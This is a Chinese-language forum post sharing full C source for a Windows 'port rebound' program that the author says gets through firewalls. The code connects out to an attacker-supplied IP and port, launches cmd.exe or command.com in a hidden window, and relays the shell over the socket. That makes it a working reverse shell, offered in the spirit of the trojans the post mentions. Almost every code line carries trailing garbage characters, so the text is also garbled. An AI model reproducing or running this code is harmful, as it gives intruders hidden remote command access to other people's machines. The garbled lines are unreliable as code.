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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 50={%R  
:>=\.\  
/* ============================== 73){K?R  
Rebound port in Windows NT v;)..X30  
By wind,2006/7 @9"J|}  
===============================*/ y:6; LZ9[  
#include _8E/) M  
#include Qubp9C#r  
^#sU*trr  
#pragma comment(lib,"wsock32.lib") QqU!Najf  
!/wtYI-`  
void OutputShell(); C 9t4#"  
SOCKET sClient; S9#)A->  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; SCz318n  
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void main(int argc,char **argv)  s~Te  
{ bcYF\@};  
WSADATA stWsaData; 6H7],aMg$A  
int nRet; 4#l o$#  
SOCKADDR_IN stSaiClient,stSaiServer; !@v7Zu43,  
@mfEKU!  
if(argc != 3) ynrT a..  
{ ^U!0-y  
printf("Useage:\n\rRebound DestIP DestPort\n"); Er{>p|n =  
return; yNTK .  
} ej"+:. "\e  
hq #?kN  
WSAStartup(MAKEWORD(2,2),&stWsaData); \o^2y.q:>  
j*vYBGD  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qo|WXwP2  
=y-@AU8  
stSaiClient.sin_family = AF_INET; &Udb9  
stSaiClient.sin_port = htons(0); a0#J9O_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (I./ Uu%  
1 .6:#  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .;N1N^  
{ g?ULWeZg5  
printf("Bind Socket Failed!\n"); _D+J!f^  
return; X93!bB  
} r! MWbFw|X  
ZEx}$<)_  
stSaiServer.sin_family = AF_INET; Ll4g[8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5bg s*.s  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); - RU=z!{  
_/tHD]um  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9c("x%nLpB  
{  .P"D  
printf("Connect Error!"); c(~[$)i6  
return; T]c%!&^ _  
} 5wDg'X]>V  
OutputShell(); XD2v*l|Po  
} Kuu *&u  
AQwdw>I-FX  
void OutputShell() $F5 b  
{ {Sj9%2'M)  
char szBuff[1024]; V]db'qB\  
SECURITY_ATTRIBUTES stSecurityAttributes; VB*oGG  
OSVERSIONINFO stOsversionInfo; 2V#>)R#k  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6l:qD`_  
STARTUPINFO stStartupInfo; D-._z:_  
char *szShell; +O?KNZ  
PROCESS_INFORMATION stProcessInformation; 7](KV"%V  
unsigned long lBytesRead; u@cYw:-C  
#*UN >X  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $[a8$VY^Cm  
0a XPPnuX  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]Yn_}Bq  
stSecurityAttributes.lpSecurityDescriptor = 0; SR |`!  
stSecurityAttributes.bInheritHandle = TRUE; @/ohg0  
P&^;656r  
wLnf@&jQ%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9eQxit7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dx@-/^.  
m()RU"WY  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2HsLc*9{4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,tu.2VQc@  
stStartupInfo.wShowWindow = SW_HIDE; |$ lM#Ua  
stStartupInfo.hStdInput = hReadPipe; @X;!92i  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /k,-P  
kZGRxp9  
GetVersionEx(&stOsversionInfo); \6Zr  
[rV>57`YD  
switch(stOsversionInfo.dwPlatformId) 4p,EBn9(  
{ '|8} z4/g  
case 1: GE%Z9#E  
szShell = "command.com"; P 'od`  
break; hFy;ffs.  
default: DrY:9[LP  
szShell = "cmd.exe"; ^Dn D>h@q  
break;  :7]Sa`  
} ?WqT[MnK  
/n{omx  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); A#J`;5!Sc  
lHPd"3HDK  
send(sClient,szMsg,77,0); f\sQO&  
while(1) ]\hSI){  
{ NRIG1v>  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9CWezI+  
if(lBytesRead) )9"_J9G  
{ r\-uJ~8N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b((M)Gz  
send(sClient,szBuff,lBytesRead,0); {CGUL|y  
} _C*fs< #  
else @] DVD  
{ }o?APvd  
lBytesRead=recv(sClient,szBuff,1024,0); S79;^X  
if(lBytesRead<=0) break; eoG$.M"  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |Sy<@oq  
} )I^7)x  
} SBfT20z[  
yDegcAn?  
return; Kzm+GW3o[  
}
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